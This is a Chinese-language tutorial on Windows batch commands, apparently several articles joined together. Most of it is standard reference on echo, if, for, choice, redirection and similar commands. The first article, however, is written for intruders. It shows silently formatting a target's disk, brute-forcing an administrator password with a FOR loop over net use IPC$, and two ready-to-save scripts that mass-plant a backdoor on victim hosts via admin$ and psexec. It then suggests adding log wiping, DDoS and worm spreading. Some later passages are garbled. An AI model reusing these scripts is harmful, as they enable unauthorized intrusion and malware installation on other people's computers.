1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
echo [{on│off}] [message]
Sample:@echooff / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来
2.@ 命令
表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d: \\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为 1234......
如 : choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下 :
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :
a、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如 if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
b 、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
c 、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个 )
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2 :
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条: for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\\ok.txt ,这样就ko了。
sample3 :
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p*** ec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@p*** ec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
BAT命令详解
BAT常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。
批处理文件的内容为: 命令注释:
@echo off 不显示后续命令行及当前命令行
dir c:\\*.* >a.txt 将c盘文件列表写入a.txt
call c:\\.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。
%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。
例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1
如果执行C:\\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:
例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2
那么运行C:\\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
特殊命令
if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。
一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if [not] "参数" == "字符串" 待执行的命令
参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。
例:if "%1"=="a" format a:
2、if [not] exist [路径\\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如: if exist c:\\config.sys type c:\\config.sys
表示如果存在c:\\config.sys文件,则显示它的内容。
3、if errorlevel <数字> 待执行的命令
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。
如:
goto end
:end
echo this is the end
标号用“:字符串”来定义,标号所在行不被执行。
三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。
/? 显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
序排列。
示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法:
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
批处理示例
1. IF-EXIST
1)
首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
@echo off
IF EXIST \\AUTOEXEC.BAT TYPE \\AUTOEXEC.BAT
IF NOT EXIST \\AUTOEXEC.BAT ECHO \\AUTOEXEC.BAT does not exist
然后运行它:
C:\\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2)
接着再建立一个test2.bat文件,内容如下:
@ECHO OFF
IF EXIST \\%1 TYPE \\%1
IF NOT EXIST \\%1 ECHO \\%1 does not exist
执行:
C:\\>TEST2 AUTOEXEC.BAT
该命令运行结果同上。
说明:
(1) IF EXIST 是用来测试文件是否存在的,格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
如果运行:
C:\\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN
如果运行:
C:\\>TEST3 A B
屏幕上会显示
XIAO
TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下:
@ECHO OFF
XCOPY C:\\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件:
C:\\>TEST4
如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的:
@ECHO OFF
XCOPY C:\\AUTOEXEC.BAT D:\\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format(y/n)?”下用户键入n结束
xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
3、IF STRING1 == STRING2
建立TEST5.BAT,文件内容如下:
@echo off
IF "%1" == "A" formAT A:
执行:
C:\\>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。
注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
如:if [%1]==[A] 或者 if %1*==A*
5、GOTO
建立TEST6.BAT,文件内容如下:
@ECHO OFF
IF EXIST C:\\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\\AUTOEXEC.BAT D:\\
:_DONE
注意:
(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
6、FOR
建立C:\\TEST7.BAT,文件内容如下:
@ECHO OFF
FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C
运行:
C:>TEST7
执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。
下面我再举些实例.
删除默认共享:
对于默认共享不知道你了解多少,反正留着是个隐患,现在唯一的办法好象只能做个bat文件进行删除.命令如下:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
net share e$ /delete
……
里面的c d e为你的盘符。如果你只有一个分区,那么写到net share c$ /delete为止就可以了。如果你有n个分区,那么就挨个写下去。
net share d$ /delete
net share e$ /delete
net share f$ /delete
net share g$ /delete……
登陆到局域网的机器快捷方式(对方机器有密码且为2000或以上系统)
net use file://192.168.0.1/ [密码] /user:[用户名]
explorer file://192.168.0.1/
bat文件备份注册表
set regfile=%date% //设置变量,下面出现%regfile%的都自动替换“当天date”
if exist "%regfile%" goto end //如果发现当天date命名的目录,跳到文件尾。
md temp //建temp目录
call 1.bat //调用1.bat
del 1.bat
ren 2.bat 1.bat
ren 3.bat 2.bat
ren 4.bat 3.bat
echo move "%regfile%" temp >4.bat //写 移动“当天date命名的目录”到temp的bat文件 。
md "%regfile%" //建当天date命名的目录
cd "%regfile%" //进入
reg export hkcu hkcu.reg //导出注册表
reg export hklm hklm.reg
//HKEY_CURRENT_USER 缩写hkcu 。存放当前用户个人数据
//HKEY_LOCAL_MACHINE 缩写hklm 。系统的核心数据
cd..
deltree /y temp >nul ////返回上级目录 ,删temp文件夹
:
------------------------------------------------------------------------------------------------------------------------------------
1 echo 和 @
@ #关闭单行回显
echo off #从下一行开始关闭回显
@echo off #从本行开始关闭回显。一般批处理第一行都是这个
echo on #从下一行开始打开回显
echo #显示当前是 echo off 状态还是 echo on 状态
echo. #输出一个”回车换行”,空白行
#(同echo, echo; echo+ echo[ echo] echo/ echo")
2 errorlevel
echo %errorlevel%
每个命令运行结束,可以用这个命令行格式查看返回码
默认值为0,一般命令执行出错会设 errorlevel 为1
3 dir
dir #显示当前目录中的文件和子目录
dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件
dir c: /a:d #显示 C 盘当前目录中的目录
dir c: /a:-d #显示 C 盘根目录中的文件
dir c:" /b/p #/b只显示文件名,/p分页显示
dir *.exe /s #显示当前目录和子目录里所有的.exe文件
4 cd
cd" #进入根目录
cd #显示当前目录
cd /d d:"sdk #可以同时更改盘符和目录
5 md
md d:"a"b"c #如果 d:"a 不存在,将会自动创建中级目录
#如果命令扩展名被停用,则需要键入 mkdir "a"b"c。
6 rd
rd abc #删除当前目录里的 abc 子目录,要求为空目录
rd /s/q d:"temp #删除 d:"temp 文件夹及其子文件夹和文件,/q安静模式
7 del
del d:"test.txt #删除指定文件,不能是隐藏、系统、只读文件
del /q/a/f d:"temp"*.*
删除 d:"temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
del /q/a/f/s d:"temp"*.*
删除 d:"temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录
8 ren
ren d:"temp tmp #支持对文件夹的重命名
9 cls
清屏
10 type
显示文件内容
type c:"boot.ini #显示指定文件的内容,程序文件一般会显示乱码
type *.txt #显示当前目录里所有.txt文件的内容
11 copy
拷贝文件
copy c:"test.txt d:"test.bak
复制 c:"test.txt 文件到 d:" ,并重命名为 test.bak
copy con test.txt
从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为test.txt文件
con代表屏幕,prn代表打印机,nul代表空设备
copy 1.txt + 2.txt 3.txt
合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件
如果不指定 3.txt ,则保存到 1.txt
copy test.txt +
复制文件到自己,实际上是修改了文件日期
12 title
设置cmd窗口的标题
title 新标题 #可以看到cmd窗口的标题栏变了
13 ver
显示系统版本
14 label 和 vol
设置卷标
vol #显示卷标
label #显示卷标,同时提示输入新卷标
label c:system #设置C盘的卷标为 system
15 pause
暂停命令
16 rem 和 ::
注释命令
注释行不执行操作
17 date 和 time
日期和时间
date #显示当前日期,并提示输入新日期,按""回车""略过输入
date/t #只显示当前日期,不提示输入新日期
time #显示当前时间,并提示输入新时间,按""回车""略过输入
time/t #只显示当前时间,不提示输入新时间
18 goto 和 :
跳转命令
:label #行首为:表示该行是标签行,标签行不执行操作
goto label #跳转到指定的标签那一行
19 find (外部命令)
查找命令
find ""abc"" c:"test.txt
在 c:"test.txt 文件里查找含 abc 字符串的行
如果找不到,将设 errorlevel 返回码为1
find /i “abc” c:"test.txt
查找含 abc 的行,忽略大小写
find /c ""abc"" c:"test.txt
显示含 abc 的行的行数
20 more (外部命令)
逐屏显示
more c:"test.txt #逐屏显示 c:"test.txt 的文件内容
21 tree
显示目录结构
tree d:" #显示D盘的文件目录结构
22 &
顺序执行多条命令,而不管命令是否执行成功
23 &&
顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
find ""ok"" c:"test.txt && echo 成功
如果找到了""ok""字样,就显示""成功"",找不到就不显示
24 ||
顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
find ""ok"" c:"test.txt || echo 不成功
如果找不到""ok""字样,就显示""不成功"",找到了就不显示
25 |
管道命令
dir *.* /s/a | find /c "".exe""
管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令
该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数
type c:"test.txt|more
这个和 more c:"test.txt 的效果是一样的
26 > 和 >>
输出重定向命令
> 清除文件中原有的内容后再写入
>> 追加内容到文件末尾,而不会清除原有的内容
主要将本来显示在屏幕上的内容输出到指定文件中
指定文件如果不存在,则自动生成该文件
type c:"test.txt >prn
屏幕上不显示文件内容,转向输出到打印机
echo hello world>con
在屏幕上显示hello world,实际上所有输出都是默认 >con 的
copy c:"test.txt f: >nul
拷贝文件,并且不显示""文件复制成功""的提示信息,但如果f盘不存在,还是会显示出错信息
copy c:"test.txt f: >nul 2>nul
不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息
echo ^^W ^> ^W>c:"test.txt
生成的文件内容为 ^W > W
^ 和 > 是控制命令,要把它们输出到文件,必须在前面加个 ^ 符号
27 <
从文件中获得输入信息,而不是从屏幕上
一般用于 date time label 等需要等待输入的命令
@echo off
echo 2005-05-01>temp.txt
date 这样就可以不等待输入直接修改当前日期 28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %* 命令行传递给批处理的参数 %0 批处理文件本身 %1 第一个参数 %9 第九个参数 %* 从第一个参数开始的所有参数 批参数(%n)的替代已被增强。您可以使用以下语法: %~1 - 删除引号(""),扩充 %1 %~f1 - 将 %1 扩充到一个完全合格的路径名 %~d1 - 仅将 %1 扩充到一个驱动器号 %~p1 - 仅将 %1 扩充到一个路径 %~n1 - 仅将 %1 扩充到一个文件名 %~x1 - 仅将 %1 扩充到一个文件扩展名 %~s1 - 扩充的路径指含有短名 %~a1 - 将 %1 扩充到文件属性 %~t1 - 将 %1 扩充到文件的日期/时间 %~z1 - 将 %1 扩充到文件的大小 %~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1 扩充到找到的第一个完全合格的名称。如果环境 变量名未被定义,或者没有找到文件,此组合键会 扩充到空字符串 可以组合修定符来取得多重结果: %~dp1 - 只将 %1 扩展到驱动器号和路径 %~nx1 - 只将 %1 扩展到文件名和扩展名 %~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1, 并扩展到找到的第一个文件的驱动器号和路径。 %~ftza1 - 将 %1 扩展到类似 DIR 的输出行。 可以参照 call/? 或 for/? 看出每个参数的含意 echo load ""%%1"" ""%%2"">c:"test.txt 生成的文件内容为 load ""%1"" ""%2"" 批处理文件里,用这个格式把命令行参数输出到文件 29 if 判断命令 if ""%1""==""/a"" echo 第一个参数是/a if /i ""%1"" equ ""/a"" echo 第一个参数是/a /i 表示不区分大小写,equ 